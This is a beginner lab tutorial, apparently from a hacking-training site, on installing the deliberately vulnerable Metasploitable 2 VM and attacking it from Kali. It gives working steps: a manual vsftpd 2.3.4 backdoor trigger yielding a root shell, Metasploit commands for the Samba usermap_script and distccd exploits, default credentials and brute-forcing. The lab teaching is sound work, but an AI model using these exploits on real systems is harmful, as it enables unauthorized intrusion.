Metasploitable 2: Beginner's Setup and Hacking Guide (2026)

CTF & Practice
14 min read
Metasploitable 2: Beginner's Setup and Hacking Guide (2026)
On this page
  1. What Is Metasploitable 2?
    1. Is Metasploitable 2 Still Worth It in 2026?
  2. Metasploitable 2 vs Metasploitable 3
  3. How to Download and Install Metasploitable 2 in VirtualBox
  4. Finding Metasploitable 2 and Running Your First Scan
  5. Your First 4 Attacks on Metasploitable 2
    1. 1. The vsftpd 2.3.4 Backdoor, By Hand
    2. 2. Samba "username map script" (CVE-2007-2447)
    3. 3. distccd: A Shell That Is Not Root
    4. 4. Weak Passwords Everywhere
  6. How to Practice on Metasploitable 2 Without Wasting It
  7. Common Metasploitable 2 Problems and Fixes
  8. Metasploitable 2 Alternatives When You Are Ready to Move On
  9. Legal and Ethical Considerations
  10. Frequently Asked Questions
  11. Your Next Steps

Metasploitable 2 is the practice target almost every penetration tester has attacked at least once. It is a free Linux virtual machine from Rapid7, the company behind Metasploit, and it was built with one goal: to be broken into. Backdoored FTP, wide-open Samba, default passwords, and two vulnerable web apps all live on a single box you can run on your laptop. Before you download anything, you can feel the same scan-login-root loop in the free Nmap Commands lab on HackerDNA, which runs in your browser in about twenty minutes.

This guide walks you through Metasploitable 2 the way you would want a friend to explain it: how to install it safely in VirtualBox, how to find it and scan it, the first four attacks worth your time, the problems that stop most beginners, and when to move on to something else.

TL;DR: Metasploitable 2 is a free, intentionally vulnerable Ubuntu VM that Rapid7 released in 2012 for practicing network exploitation. Download the 865 MB zip from SourceForge, attach the included disk to a new VirtualBox VM, put it on a host-only network, and log in with msfadmin / msfadmin only to check its IP. Start with the vsftpd 2.3.4 backdoor by hand, then Samba, then the weak passwords, and keep a snapshot so you can reset in seconds.

What Is Metasploitable 2?

Metasploitable 2 is an intentionally vulnerable version of Ubuntu Linux, published by Rapid7 as a target for testing security tools and practicing common attacks. It ships as a ready-made virtual machine, and its own README is blunt about the one rule that matters: never expose it to an untrusted network.

Under the hood, it is old on purpose. The console banner shows Linux kernel 2.6.24 on a 32-bit (i686) system, and the services are versions from the late 2000s. Rapid7's Metasploitable 2 Exploitability Guide lists what you are up against:

  • Real backdoors: a trojaned vsftpd 2.3.4 on port 21, a trojaned UnrealIRCd on port 6667, and an "ingreslock" root shell sitting on port 1524.
  • Dangerous services: distccd that runs any command you send it, an NFS server exporting the whole filesystem, and r-services (rlogin, rsh) that trust every host.
  • Weak credentials: system accounts like user / user, PostgreSQL with postgres / postgres, MySQL root with an empty password, and VNC protected by the word password.
  • Vulnerable web apps: DVWA, Mutillidae, phpMyAdmin, TikiWiki, and a WebDAV folder, all served on port 80.

That density is the point. One VM gives you a dozen different ways in, so you can practice the same methodology over and over without downloading a new target each time.

Is Metasploitable 2 Still Worth It in 2026?

Yes, for the first few weeks of learning network attacks. Nothing on it resembles a modern server, so you will not learn about cloud metadata, containers, or JWTs here. What you will learn is the core habit every pentest is built on: scan everything, read the versions, research each service, and exploit one thing at a time. Metasploitable 2 is also a gentle place to make mistakes, because almost every door you try is unlocked.

Our honest take: spend a weekend on it, root it four different ways, then leave. Beginners who stay on Metasploitable 2 for months start believing every target has a one-command backdoor. Real machines, and most CTF boxes, make you chain small findings together.

💻
Practice this now: Anonymous FTP - find an FTP server that lets anyone in, log in without a password, and pull the flag. It is the same kind of FTP misconfiguration you will poke at on Metasploitable 2, with nothing to install.

Metasploitable 2 vs Metasploitable 3

Rapid7 also publishes Metasploitable 3, and the name makes people assume it replaces version 2. It does not. They are different projects for different stages.

FeatureMetasploitable 2Metasploitable 3
Operating systemUbuntu Linux, 32-bitWindows Server 2008 R2 and Ubuntu 14.04 builds
How you get itDownload a zip, attach the diskVagrant box, or build it yourself with Packer and Vagrant
Resources512 MB RAM, 1 CPU (its shipped config)The build needs 65 GB of disk and 4.5 GB of RAM
Default loginmsfadmin / msfadminvagrant / vagrant
Setup difficultyEasyModerate
Best forYour first network exploitsWindows targets and slightly more realistic chains

Start with Metasploitable 2. The setup takes ten minutes instead of an afternoon, and its Linux services teach the basics faster. Move to Metasploitable 3 when you want Windows practice and you are comfortable with the command line, because its build scripts assume you are.

How to Download and Install Metasploitable 2 in VirtualBox

Rapid7 packages Metasploitable 2 for VMware, not as a VirtualBox appliance. The zip contains a VMware folder (Metasploitable.vmx and friends) plus a single Metasploitable.vmdk disk. VirtualBox reads that disk fine, so you create an empty VM and attach it. Here is the setup that avoids the two classic mistakes: losing the target's IP and putting a backdoored machine on your home Wi-Fi.

  1. Download the zip. Get metasploitable-linux-2.0.0.zip from the official Metasploitable project on SourceForge. It is 865 MB, and SourceForge lists its MD5 as abb0a95bd4422397ed235a7284e2ed7f. Check it with md5sum metasploitable-linux-2.0.0.zip.
  2. Unzip it. You get a Metasploitable2-Linux folder. The disk inside unpacks to about 1.9 GB, so leave room for it.
  3. Create a new VM. In VirtualBox, click New, name it Metasploitable2, set the type to Linux and the version to Ubuntu (32-bit). Give it 512 MB of memory, which is what Rapid7's own config uses.
  4. Attach the existing disk. At the hard disk step, choose Use an existing virtual hard disk file and select Metasploitable.vmdk. Do not create a new disk.
  5. Switch the network to Host-only. Before the first boot, open Settings > Network and set Adapter 1 to Host-only Adapter. No NAT, no Bridged. The target never needs the internet.
  6. Put Kali on the same host-only network. Add a Host-only adapter to your Kali VM on the same network. Kali can keep a second NAT adapter for updates.
  7. Take a snapshot. Snapshot Metasploitable before you touch it. Several exploits below can only fire once per boot, and restoring is faster than debugging.

Boot the VM, wait for the login prompt, and log in with msfadmin / msfadmin. Run ifconfig and note the inet addr on eth0. That is the only time you should use the console. From here on, everything happens from Kali.

Apple Silicon Macs: Metasploitable 2 is a 32-bit x86 machine, and VirtualBox's Apple Silicon build is designed for ARM guests. On an M-series Mac you would need x86 emulation through UTM and QEMU, which works but crawls. If that is your laptop, a browser-based lab is the practical option.

Finding Metasploitable 2 and Running Your First Scan

Rapid7's guide notes that VirtualBox's default host-only network is 192.168.56.0/24 and that its DHCP server hands out addresses starting at .101. If Metasploitable is the first VM you boot, it will usually be 192.168.56.101. Confirm it from Kali instead of trusting the console:

ip a                                   # find your 192.168.56.x interface
sudo netdiscover -r 192.168.56.0/24    # ARP sweep, look for the new host
nmap -sn 192.168.56.0/24               # or a quick ping sweep

Then scan every TCP port and ask for versions:

nmap -sV -p- -oN msf2.nmap 192.168.56.101

When Rapid7 scanned it for their guide, all-port Nmap found about 30 open ports. Your list should look like this trimmed version, and every line is a lead:

21/tcp   open  ftp          vsftpd 2.3.4
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X
512-514  open  exec, login, shell
1524/tcp open  ingreslock
2049/tcp open  nfs
3306/tcp open  mysql
3632/tcp open  distccd
5432/tcp open  postgresql
5900/tcp open  vnc
6667/tcp open  irc

Save that output and reread it before every attack. The habit of going back to your scan notes is worth more than any single exploit on this box. If you want a deeper explanation of what the version flags are doing, the exploiting services chapter of HackerDNA's network penetration testing course covers how to turn a version number into an attack plan.

Your First 4 Attacks on Metasploitable 2

There are more vulnerabilities on this machine than you need. These four, in this order, teach the most distinct skills. Do each one, then restore your snapshot before the next.

1. The vsftpd 2.3.4 Backdoor, By Hand

In July 2011, a backdoored copy of vsftpd 2.3.4 sat on the project's official download site. NVD's entry for CVE-2011-2523 says copies downloaded between June 30 and July 3, 2011 open a shell on port 6200. The trigger is a username ending in a smiley face, :).

Most tutorials jump straight to the Metasploit module. Do it manually first, because then you understand what the module automates:

nc 192.168.56.101 21
220 (vsFTPd 2.3.4)
USER hacker:)
331 Please specify the password.
PASS anything
# leave this open, then in a second terminal:
nc 192.168.56.101 6200
id
uid=0(root) gid=0(root)

No prompt appears on port 6200. You type a command, press Enter, and the answer comes back. That is root on your first try. Once it clicks, our guide on how to use Metasploit walks through the same backdoor with the vsftpd_234_backdoor module, step by step.

2. Samba "username map script" (CVE-2007-2447)

Nmap only narrows Samba down to "3.X - 4.X", so get the exact version with smbclient -L //192.168.56.101 -N. The banner says Samba 3.0.20-Debian. Search that version and you will find CVE-2007-2447: Samba 3.0.0 through 3.0.25rc3 passes usernames to a shell when the "username map script" option is on, so shell metacharacters in a username run as commands. This is the attack to do with Metasploit, because it teaches you the search, use, set, run loop on a module that needs a payload:

msfconsole -q
msf6 > search samba usermap
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
msf6 exploit(multi/samba/usermap_script) > run

Set LHOST to Kali's host-only IP, not its NAT address. That single setting causes most "exploit completed, but no session was created" errors on this box. When it works, id returns root.

3. distccd: A Shell That Is Not Root

distcc spreads compile jobs across machines, and when it does not restrict who can connect, anyone can send it a command (CVE-2004-2687). The exploit/unix/misc/distcc_exec module gets you in, but Rapid7's guide shows what you land as: uid=1(daemon).

This is the most valuable exercise on the machine, because it is the only one that feels like a real CTF. You have a foothold and you need to escalate. Check the kernel version, list SUID binaries with find / -perm -4000 2>/dev/null, look at what runs as root, and work out your own path. Do not look up the answer for at least an hour.

4. Weak Passwords Everywhere

No exploit code at all. Rapid7 documents that msfadmin, user, postgres, service, klog, and sys all have weak passwords, MySQL accepts root with no password, and VNC uses password. Try them like a tester would:

mysql -h 192.168.56.101 -u root          # empty password
psql -h 192.168.56.101 -U postgres       # password: postgres
vncviewer 192.168.56.101                 # password: password

Then pretend you did not read the list. Enumerate users through Samba (enum4linux -U 192.168.56.101), build a small wordlist, and brute-force SSH with Hydra. That is how you would find these accounts on a real engagement.

Web apps on port 80: browse to http://192.168.56.101/ and you get links to Mutillidae, DVWA, phpMyAdmin, TikiWiki, and WebDAV. DVWA's default login is admin / password. The copy on Metasploitable is old, so if web attacks are your goal, follow our DVWA setup guide and run the current version instead.

How to Practice on Metasploitable 2 Without Wasting It

The danger with Metasploitable 2 is that it is too easy to "finish." You run five modules, collect five root shells, and learn almost nothing. A few rules keep the practice honest:

  • 📝One service per session. Pick a port, research the exact version, read the CVE, exploit it, then write three sentences on why it worked. Volume is not the goal.
  • ✋Manual first, Metasploit second. If you can do it with nc, smbclient, or mount, do that first. The OSCP limits Metasploit use for a reason.
  • 🚫Skip the ingreslock freebie. Port 1524 hands you a root shell over a plain connection. Use it once to see it, then ignore it. It teaches nothing you will meet again.
  • 🔍Find the ones nobody blogs about. The NFS export of /, the r-services on 512 to 514, and the PHP 5.2.4 version that phpinfo.php leaks are all documented by Rapid7 and rarely covered in walkthroughs.

In practice, the people who get the most out of this VM treat it like a client network: they write a short report with every finding, its impact, and the fix. That report is also a portfolio piece for your first job application.

Common Metasploitable 2 Problems and Fixes

Almost every beginner hits at least one of these:

  • The VM has no IP address. Check that Adapter 1 is set to Host-only and that the host-only network has its DHCP server enabled in VirtualBox's Network Manager. Reboot the VM after changing it.
  • Kali cannot see the target. Both VMs must be on the same host-only network. If ip a on Kali shows no 192.168.56.x address, Kali is the problem, not Metasploitable.
  • The vsftpd backdoor worked once and never again. The backdoor listens on port 6200 once, and the Metasploit module even warns about this when the port is already in use. Restore your snapshot.
  • SSH refuses to connect. The box offers only old host key types, and current OpenSSH clients turn them off. If you see "no matching host key type found. Their offer: ssh-rsa,ssh-dss", connect with ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa [email protected].
  • "No session was created" in Metasploit. Your LHOST is wrong. Set it to Kali's host-only IP and run again.

Metasploitable 2 Alternatives When You Are Ready to Move On

Once you have rooted Metasploitable 2 a few ways, you need targets that make you think. Here is where to go next:

OptionPriceSetupWhy go there
Metasploitable 3FreeVagrant and PackerWindows targets from the same team
VulnHubFreeDownload a VM per boxHundreds of boot-to-root machines with real chains
DVWAFreeDocker or a web serverFocused web vulnerability practice with difficulty levels
HackerDNAFree tier, Pro planBrowser, no VPNGuided labs with user and root flags, nothing to install

VulnHub is the natural sequel because it uses the same download-and-attack format with harder, more realistic boxes. Our VulnHub beginner's guide lists five good first machines. If you would rather skip the VM juggling entirely, HackerDNA's labs keep the scan, foothold, and root loop and run it all in the browser, with checks that tell you when you are on the right track.

Critical reminder: Metasploitable 2 is built to be attacked. Your router, your school network, and any machine on the internet are not. Always get explicit written authorization before testing any system you do not own.

  • Keep it off real networks. Rapid7's guide says the image should never be exposed to a hostile network. A Bridged adapter puts real backdoors in reach of every device on your Wi-Fi.
  • Double-check every target IP. One typo in a subnet can point your scanner at a real device. Confirm the address before each exploit, especially if Kali also has a NAT adapter.
  • Practice is not permission. The same vsftpd or Samba version on someone else's server is not an invitation. Report it through the owner's disclosure process instead.

Frequently Asked Questions

What is the Metasploitable 2 username and password?

The default login is msfadmin with the password msfadmin. Rapid7's guide also lists other weak accounts on the box, including user / user, postgres / postgres, and service / service.

Is Metasploitable 2 safe to install?

Yes, as long as it stays on a host-only network. The VM itself is harmless to your computer, but its services are deliberately backdoored, so anyone who can reach it over a network can take it over. Never use NAT port forwarding or Bridged mode.

What is the IP address of Metasploitable 2?

It gets one from DHCP, so it depends on your network. On VirtualBox's default host-only network it usually starts at 192.168.56.101. Log in and run ifconfig, or find it from Kali with netdiscover.

Should I use Metasploitable 2 or Metasploitable 3?

Start with Metasploitable 2. It installs in minutes and covers the basics of network exploitation. Metasploitable 3 is better for Windows practice, but building it needs Vagrant, Packer, 65 GB of disk, and 4.5 GB of RAM.

Does Metasploitable 2 work on VirtualBox?

Yes. It ships as VMware files, but you can create a new Linux VM in VirtualBox and attach the included Metasploitable.vmdk disk. Set the network to Host-only before you boot it.

Is Metasploitable 2 good for OSCP preparation?

Only as a warm-up. It teaches scanning and service exploitation, but its backdoors are far easier than exam machines. Move on to VulnHub or OffSec's Proving Grounds once you can root it without help.

Last verified: November 2026. File name, size, and checksum checked on SourceForge. Ports, credentials, and vulnerabilities checked against Rapid7's Metasploitable 2 documentation. Metasploitable 3 requirements checked in its GitHub README. Module names checked in the Metasploit Framework repository.

Your Next Steps

Metasploitable 2 is still the easiest free way to land your first root shell on a real Linux machine. Install it in VirtualBox this week, keep it on a host-only network, and work through the four attacks above in order. Spend the most time on distccd, because escalating from that daemon shell is the closest this box gets to a real CTF.

If the VM setup is what is stopping you, skip it for now. Start with the free Nmap Commands lab to run the scan, login, and escalate loop in your browser, then try the Anonymous FTP lab to practice the same kind of service misconfiguration you found on Metasploitable 2. You can start with HackerDNA's free tier - no credit card required.

HackerDNA Team

HackerDNA Team

Written by the HackerDNA team - cybersecurity professionals building hands-on hacking labs and educational content to help you develop real-world security skills.

Meet the Team

Ready to put this into practice?

Stop reading, start hacking. Real machines, in your browser, free.

Start Hacking Free
40,000+ Hackers Real labs Free
Start Hacking Free or solve today's hack, no account needed